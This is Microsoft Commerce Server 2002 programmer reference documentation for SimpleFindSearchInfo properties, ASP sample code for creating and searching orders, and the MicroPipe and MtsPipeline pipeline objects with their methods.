HRESULT _SimpleFindSearchInfo::put_user_org_id(
  VARIANT* user_org_id
);
[Visual Basic]
Property user_org_id As Variant

Parameters

user_org_id [C++]
[in] When putting the property, a VARIANT that contains the user organization ID to search for.
[out, retval] When getting the property, a VARIANT used to return the user organization ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_org_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_org_name, put_user_org_name Property [C++]

SimpleFindSearchInfo.user_org_name Property [Visual Basic]

The user_org_name property is a read/write Variant that contains the user organization name to search for; if left null, the user organization name does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_org_name(
  VARIANT* user_org_name
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_org_name(
  VARIANT* user_org_name
);
[Visual Basic]
Property user_org_name As Variant

Parameters

user_org_name [C++]
[in] When putting the property, a VARIANT that contains the user organization name to search for.
[out, retval] When getting the property, a VARIANT used to return the user organization name to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_org_name parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


Example Code for Order Processing Objects

This section provides examples of how to use business process objects. The code samples in this section are written as Active Server Pages (ASP) pages; they do not show extensive error checking or certain other formalities required for functional code.

Examples

Example | Description
Code to Create an Order | Describes how to create an order, instantiating and initializing the required objects.
Code to Add Address and Line Item Information to an Order | Describes how to create line items in an order and view the contents of the order.
Code to Save an Order to the Database | Describes how to save an order with a Template status to the database.
Code to Search for an Order and Display Line Item Information | Describes how to search the database for an order by using the SimpleFindSearchInfo and SimpleFindResultInfo objects.


Code to Create an Order

The following Active Server Pages (ASP) code creates an OrderForm object, an OrderGroup object, and an OrderGroupManager object. All of these objects are required in order to manipulate orders. Many of the default fields are not added to the Orderform object until the pipeline has been run, thus the order form that this code creates is an empty order form.

  1. Create the OrderGroupManager, OrderGroup, and OrderForm objects.
    Dim oOrderForm, oOrderGroup, oOGMgr, sUserID
Set oOrderForm = Server.CreateObject("Commerce.OrderForm")
Set oOrderGroup = Server.CreateObject("Commerce.OrderGroup")
Set oOGMgr = Server.CreateObject("Commerce.OrderGroupManager")
  2. Initialize the OrderGroup and OrderGroupManager objects. Note that in the following example, the connection strings have been formatted for better display.
    sUserID = "AAAABB4C-C33E-11D0-B8A0-A0C04FB616C7"

oOrderGroup.Initialize "Provider=SQLOLEDB.1;
                                      Integrated Security='SSPI';
                              InitialCatalog=""Retail_commerce"";
                                            DataSource=TESTMACH2;
                                       Network Library=dbmssocn",
                                                          sUserID

oOGMgr.Initialize "Provider=SQLOLEDB.1;
                                 Integrated Security='SSPI';
                         InitialCatalog=""Retail_commerce"";
                                       DataSource=TESTMACH2;
                                   Network Library=dbmssocn"


Code to Add Address and Line Item Information to an Order

The OrderGroup object links to one or more OrderForm objects, and to one or more Address dictionaries. The OrderForm object references zero or more Item dictionaries through the Items list.

  1. Create the Addresses dictionary object.
    Set oOrderForm.Addresses = Server.CreateObject("Commerce.Dictionary")
  2. Create two addresses, and add them to the order form.
    Set oOrderForm.Addresses.HomeSweetHome = _
    Server.CreateObject("Commerce.Dictionary")
oOrderForm.Addresses.HomeSweetHome.ship_to_state = "WA"
oOrderForm.Addresses.HomeSweetHome.ship_to_country = "USA"

Set oOrderForm.Addresses.HomeInTheRockies = _
    Server.CreateObject("Commerce.Dictionary")
oOrderForm.Addresses.HomeInTheRockies.ship_to_state = "WY"
oOrderForm.Addresses.HomeInTheRockies.ship_to_country = "USA"
  3. Create the order form items SimpleList object. Add four line item dictionaries to the SimpleList object, providing line item information for several dictionary elements.
    Set oOrderForm.Items = Server.CreateObject("Commerce.SimpleList")

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(0).shipping_address_id = "test_ship_add_id1"
oOrderForm.Items(0).tax_id = "test_tax_id_string"
oOrderForm.Items(0).Value("_cy_oadjust_adjustedprice") = 100
oOrderForm.Items(0).Value("quantity") = 1

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(1).shipping_address_id = "test_ship_add_id2"
oOrderForm.Items(1).tax_id = "test_tax_id_string2"
oOrderForm.Items(1).Value("_cy_oadjust_adjustedprice") = 200
oOrderForm.Items(1).Value("quantity") = 1

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(2).shipping_address_id = "test_ship_add_id3"
oOrderForm.Items(2).tax_id = "test_tax_id_string3"
oOrderForm.Items(2).Value("_cy_oadjust_adjustedprice") = 100
oOrderForm.Items(2).Value("quantity") = 1

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(3).shipping_address_id = "ship_add_id4"
oOrderForm.Items(3).tax_id = "test_tax_id_string4"
oOrderForm.Items(3).Value("_cy_oadjust_adjustedprice") = 300
oOrderForm.Items(3).Value("quantity") = 1
  4. Add the OrderForm object to the OrderGroup object.
    oOrderGroup.AddOrderform oOrderForm
  5. View the contents of one of the previously created items.
    Dim Item, itemVal
Set Item = oOrderGroup.GetItemInfo(1)
itemVal = Item.Value("_cy_oadjust_adjustedprice")
If Item.Value("_cy_oadjust_adjustedprice") <> 100 Then
    Response.Write "error in _cy_oadjust_adjustedprice"
Else
    Response.Write "correct _cy_oadjust_adjustedprice:" _
                   & itemVal & "<br>"
End If


Code to Save an Order to the Database

An order can be saved with the status of Basket, Order, Template, or a custom status. In this example, the order is saved to the database with a Template (Saved Order) status. The OrderGroup object is set to Nothing, in order to reuse the variable later in other examples.

This example code requires that you have already created the order and added items to it. For more information about creating an order, see Code to Create an Order. For more information about adding items to the order, see Code to Add Address and Line Item Information to an Order.

Dim ReqID
ReqID = oOrderGroup.SaveAsTemplate()
' Set object to Nothing in order to re-use
Set oOrderGroup = Nothing


Code to Search for an Order and Display Line Item Information

After an order has been saved to the database, you can search for it based on a variety of criteria. In this example, the OrderGroupID will serve as the basis for the search.

This example code requires that you have already saved the order to the database as a template as is described in Code to Save an Order to the Database. Note that in the following example, the connection strings have been formatted for better display.

  1. Create an instance of the AuthManager object to verify that the user is authenticated. This ensures that only registered users have access to their own order information.
    Dim objAuthManager
Set objAuthManager = Server.CreateObject(“Commerce.AuthManager”)
objAuthManager.Initialize(<sitename>)
If objAuthManager.IsAuthenticated() Then
    userID = objAuthManager.GetUserID(2)
    ‘ 2 is the ticket type denoting the Auth ticket.
Else
    ‘ Force authentication
End If
  2. Create and initialize the OrderGroup object.
    Dim oOrderGroup
Set oOrderGroup = Server.CreateObject("Commerce.OrderGroup")
oOrderGroup.Initialize "Provider=SQLOLEDB.1;
                                      Integrated Security='SSPI';
                             Initial Catalog=""Retail_commerce"";
                                            DataSource=TESTMACH2;
                                       Network Library=dbmssocn",
                                                          sUserID
  3. Create the SimpleFindSearchInfo object and set it to search for a known OrderGroupID for a specific user.
    Dim oSFSearch, sReqID, sUserID
Set oSFSearch = Server.CreateObject("Commerce.SimpleFindSearchInfo")
sReqID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oSFSearch.ordergroup_id = sReqID
oSFSearch.user_id = userID
  4. Create the SimpleFindResultInfo object and set it to return data from the OrderGroup, OrderFormHeader, and OrderFormLineItems tables. Setting the JoinLineItemInfo property to True will cause the returned result set to include data from the OrderFormLineItems table. Setting the JoinOrderFormInfo property to True will cause the returned result set to include data from the OrderFormHeader table.
    Dim oSFResult
Set osfResult =Server.CreateObject("Commerce.SimpleFindResultInfo")
oSFResult.JoinLineItemInfo = True
oSFResult.JoinOrderFormInfo = True
  5. Create a recordset to hold the search results.
    Dim oRSResults
Set oRSResults=Server.CreateObject("ADODB.Recordset")
  6. Execute the search using the OrderGroupManager.SimpleFind method. The parameters for this method are the SimpleFindSearchInfo and SimpleFindResultInfo objects. Write the success status of the search to the screen.
    Set oRSResults= oOGMgr.SimpleFind(oSFSearch, oSFResult)
If err.number <> 0 Then
    Response.Write "Search error"
Else
    Response.Write "Successful Search" & "<br>"
End If
  7. Iterate through the recordset, writing the OrderGroupID and the quantity ordered for each line item to the screen.
    While Not oRSResults.EOF
    vtDisplay = "OrderGroup ID = " & oRSResults("ordergroup_id") _
                & "<br>"
    Response.Write vtDisplay
    vtDisplay = "Quantity = " & oRSResults("quantity") _
                & "<br>" & "<br>"
    Response.Write vtDisplay
    oRSResults.MoveNext
WEnd


Pipeline Objects

Pipeline objects use pipeline configuration files to run a series of pipeline components. This section provides code samples showing how to use pipeline objects and pipeline components.

The Pipeline Programming Concepts topic describes what a pipeline is, the sequence of events in a pipeline, and how pipelines can be customized.

Objects

Visual Basic Reference | C++ Invocation | Description
MicroPipe | MicroPipe | Runs a single pipeline component from an ASP page without using a pipeline configuration file (.pcf).
MtsPipeline | MtsPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline.
MtsTxPipeline | MtsTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline.
OrderPipeline | OrderPipeline | Runs a Microsoft Commerce Server 2002 pipeline, and is particularly useful in the Content Selection Framework.
PooledPipeline | PooledPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PooledTxPipeline | PooledTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.

Examples

Example | Description
Code to Invoke a Single Pipeline Component | Describes how to use the Micropipe object to run a single component.
Code to Invoke a Pipeline | Provides sample code to set up the objects and dictionaries necessary to run a pipeline.


Pipeline Programming Concepts

A pipeline is an extensible software framework that defines and links together one or more stages of a business process, running them in sequence to complete a specific task. The functionality of a pipeline is based on three parts: pipeline components, pipeline configuration files, and pipeline framework objects. Pipeline components each complete a defined work item on the data and collectively process the order. Pipeline configuration files define the sequence in which the pipeline components are run. Pipeline framework objects invoke pipeline configuration files and pipeline components through the code on select Active Server Pages (ASP).

Pipeline Components

Pipeline Configuration Files

Pipeline Objects

Pipeline Components

Pipeline components are COM objects that perform a particular task and operate on business objects, such as an OrderForm or Dictionary object. Pipeline components may be customized and added to pipeline configuration files through the Pipeline Editor. Pipeline components can also be used independently of the Pipeline Editor and integrated into your existing system, or they can be replaced by third-party components.

Pipeline Configuration Files

Pipeline configuration files (.pcf) determine the order in which pipeline components are run and may provide configuration information to the components in the pipeline. Pipeline configuration files can be created and edited in the Pipeline Editor by opening a pipeline configuration template and saving it as a pipeline configuration file.

Pipeline configuration files are broken into two main categories: Order Processing pipelines (OPP) and Content Selection pipelines (CSP). Order Processing pipelines model the workflow for processing an order, breaking it down into discrete tasks. Content Selection pipelines are responsible for targeted content delivery of ads and discounts. In addition to OPPs and CSPs, there is one other type of pipeline, the Direct Mailer pipeline, used only by the Direct Mailer service. The following table shows the configuration files and templates that may be used for each of the pipeline categories. The file names listed in bold are included in the Commerce Server 2002 Solution Sites.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

Pipeline Category | Corresponding Pipeline Configuration Files | Corresponding Pipeline Configuration Templates
Order Processing pipeline | basket.pcf checkout.pcf product.pcf recvpo.pcf total.pcf | EventProcessing.pct Plan.pct Product.pct Purchase.pct
Content Selection pipeline | Advertising.pcf Discounts.pcf RecordEvent.pcf | ContentSelection.pct
Direct Mailer pipeline | DMLPipe.pcf | None

Pipeline Objects

Pipeline objects are COM objects that are responsible for running pipeline configuration files. The six pipeline objects are: MtsPipeline, MtsTxPipeline, PooledPipeline, PooledTxPipeline, OrderGroup, and OrderPipeline. For more information about how to use pipeline objects in your code, see Programmers Reference or Code to Invoke a Pipeline.


MicroPipe Object [C++]

MicroPipe Object [Visual Basic]

Use this object to run a single pipeline component from an Active Server Page (ASP) file without using a pipeline configuration file (.pcf).

ProgID: | Commerce.MicroPipe (Externally creatable)
COM Class Name: | CMicroPipeline
Type Library Name: | Microsoft Commerce 2002 MicroPipe Type Library
DLL Name: | micropipe.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMicroPipeline
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the IMicroPipeline interface to access the properties and methods of the MicroPipe object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MicroPipe object does not explicitly use Microsoft Transaction Server (MTS). To use transactions, mark the page as transacted or use the standard MtsTxPipline object. Distributed transactions have no meaning in the MicroPipe object because the object contains a single component.

Many pipeline components use configuration information in addition to the Context and Order dictionaries. Two common ways of passing this information to the component are:

  • To create a dictionary and pass the dictionary to the component.
  • To set individual or multiple properties directly.

The first method applies only to pipeline components that implement the IPipelineComponentAdmin interface. The second is common for components written in Microsoft Visual Basic, which usually do not implement the IPipelineComponentAdmin interface.

The MicroPipe object is not available through the Common Language Runtime Interop Layer or the Base Class Library for use within the Commerce Server .NET Application Framework. In the Commerce Server .NET Application Framework, you can execute pipeline components directly using the runtime callable wrappers in the Microsoft.CommerceServer.Interop.Targeting.PipelineComponents and Microsoft.CommerceServer.Interop.Orders.PipelineComponents namespaces.

See Also

Pipeline Objects


IMicroPipeline Methods [C++]

MicroPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.


IMicroPipeline::Execute Method [C++]

MicroPipe.Execute Method [Visual Basic]

Use this method to run the pipeline component specified by the SetComponent method.

Definition

[C++]
HRESULT IMicroPipeline::Execute(
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Dictionary object is the Order dictionary that the pipeline component will run.
pdispOrder [Visual Basic]
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary for the pipeline component to be run.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary for the pipeline component to be run.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary for the pipeline component to be run.
lFlags [C++]
[in] A long integer. Reserved for future use. Must be set to zero (0).
lFlags [Visual Basic]
A Long integer. Reserved for future use. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long integer indicating whether there were warnings or errors detected by the component. See the Error Values section for more details.

Error Values

[C++] This method returns the message S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline component ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. The pipeline component failed to run.

Remarks

[Visual Basic]

After the script has used the MicroPipe object, it should release the object by assigning Nothing to the object reference.

For more information about programming with pipeline objects, including code samples, see Pipeline Objects.

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

Be sure to release the IMicroPipeline interface when finished.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMicroPipeline is a Commerce.MicroPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMicropipeline.Execute(dOrder, dContext, 0)

See Also

[C++] MicroPipe Object

[Visual Basic] MicroPipe Object

[C++] IMicroPipeline::SetComponent

[Visual Basic] MicroPipe.SetComponent

[C++] IMicroPipeline::SetLogFile

[Visual Basic] MicroPipe.SetLogFile


IMicroPipeline::SetComponent Method [C++]

MicroPipe.SetComponent Method [Visual Basic]

Use this method to specify the pipeline component to run.

Definition

[C++]
HRESULT IMicroPipeline::SetComponent(
  IDispatch* pdispComponent
);
[Visual Basic]
Sub SetComponent(
  pdispComponent As Object
)

Parameters

pdispComponent [C++]
[in] A pointer to the IDispatch interface of the pipeline component to be run.
pdispComponent [Visual Basic]
A reference to the pipeline component to be run.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A single MicroPipe object can be used to execute multiple components. Calling the SetComponent method on the MicroPipe object after setting and executing a different component earlier is permitted. In this case, the MicroPipe object releases the earlier component and sets up the new component in its place.

For more information about programming with pipeline objects, including code samples, see Pipeline Objects.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMicroPipeline is a Commerce.MicroPipeline object
' oCompPipe is an object that references the pipeline component
' to be run.

pMicropipeline.SetComponent(oCompPipe)

See Also

[C++] MicroPipe Object

[Visual Basic] MicroPipe Object

[C++] IMicroPipeline::Execute

[Visual Basic] MicroPipe.Execute

[C++] IMicroPipeline::SetLogFile

[Visual Basic] MicroPipe.SetLogFile


IMicroPipeline::SetLogFile Method [C++]

MicroPipe.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IMicroPipeline::SetLogFile(
  BSTR bstrFileName
);
[Visual Basic]
Sub SetLogFile(
  bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR containing the file name for logging.
bstrFileName [Visual Basic]
A String containing the file name for logging.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

With logging, the MicroPipe object logs all of the read and write operations of the Dictionary and SimpleList objects. Errors are also recorded in the log. Because of the overhead involved, logging should be used only for debugging and should not be used in a production site.

The SetLogFile method should be called immediately before executing a pipeline. The SetLogFile method is exposed on the OrderGroup object as the LogFile property and should be called again before calling the RunPipe method.

For more information about programming with pipeline objects, including code samples, see Pipeline Objects.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMicroPipeline is a Commerce.MicroPipeline object

pMicroPipeline.SetLogFile("MicroPipeLog.txt")

See Also

[C++] MicroPipe Object

[Visual Basic] MicroPipe Object

[C++] IMicroPipeline::Execute

[Visual Basic] MicroPipe.Execute

[C++] IMicroPipeline::SetComponent

[Visual Basic] MicroPipe.SetComponent


MtsPipeline Object [C++]

MtsPipeline Object [Visual Basic]

Use this object to run a non-transacted Microsoft Commerce Server 2002 pipeline. The pipeline may be an Order Processing pipeline (OPP).

ProgID: | Commerce.MtsPipeline (Externally creatable)
COM Class Name: | CMtsPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the MtsPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.

The MtsPipeline is usually created on each page in which it is used.

The MtsPipeline is not a pooled pipeline. For more information about pooled pipelines, see About Pooled Pipelines.


IPipeline Methods [C++]

MtsPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

MtsPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2000 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from running.
lMode [Visual Basic]
A Long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from running.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispOrder [Visual Basic]
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary that will be used by the pipeline.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++] The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsPipeline object.
' dOrder and dContext are Commerce.Dictionary objects.

errVal = pMtsPipelineExecute(1, dOrder, dContext, 0)

See Also

[C++] MtsPipeline Object

[Visual Basic] MtsPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] MtsPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] MtsPipeline.SetLogFile

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object


IPipeline::LoadPipe Method [C++]

MtsPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use in the MtsTxPipeline object).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsPipeline object.

errVal = pMtsPipeline.Load("CustomShip.pcf")

See Also

[C++] MtsPipeline Object

[Visual Basic] MtsPipeline Object

[C++] IPipeline::Execute

[Visual Basic] MtsPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] MtsPipeline.SetLogFile

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object


IPipeline::SetLogFile Method [C++]

MtsPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment—it degrades performance and may compromise the security of credit card numbers in non-set transactions.

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling the method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is exposed on the OrderGroup object as the LogFile property and should be set before calling the RunPipe method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsPipeline object.

errVal = pMtsPipeline.SetLogFile("CustomShipping.log")

